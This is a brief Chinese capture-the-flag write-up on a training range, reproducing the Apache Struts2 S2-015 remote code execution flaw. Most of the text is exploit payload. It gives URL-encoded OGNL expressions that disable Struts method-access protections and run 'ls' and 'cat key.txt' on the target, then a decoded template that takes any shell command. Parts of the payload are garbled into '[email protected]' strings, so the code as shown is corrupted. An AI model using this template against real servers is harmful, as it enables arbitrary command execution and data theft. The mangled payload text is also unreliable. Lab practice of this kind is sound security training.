CTF墨者学院-Apache Struts2远程代码执行漏洞(S2-015)复现

靶场地址:https://www.mozhe.cn/bug/detail/MjJjWS80eFdzMGJPN3pZdTdSdFZxZz09bW96aGUmozhe

测试漏洞

http://219.153.49.228:45828/${1+2}.action


表达式进行了计算,表示漏洞存在,开始构造exp

读取当前文件夹的文件

%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action



读取key.txt

%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27cat%20key.txt%27%29.getInputStream%28%29%29%2C%23q%7D.action


Exp解码代码:

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('[命令]').getInputStream()),#q}.action

你可能感兴趣的:(CTF墨者学院-Apache Struts2远程代码执行漏洞(S2-015)复现)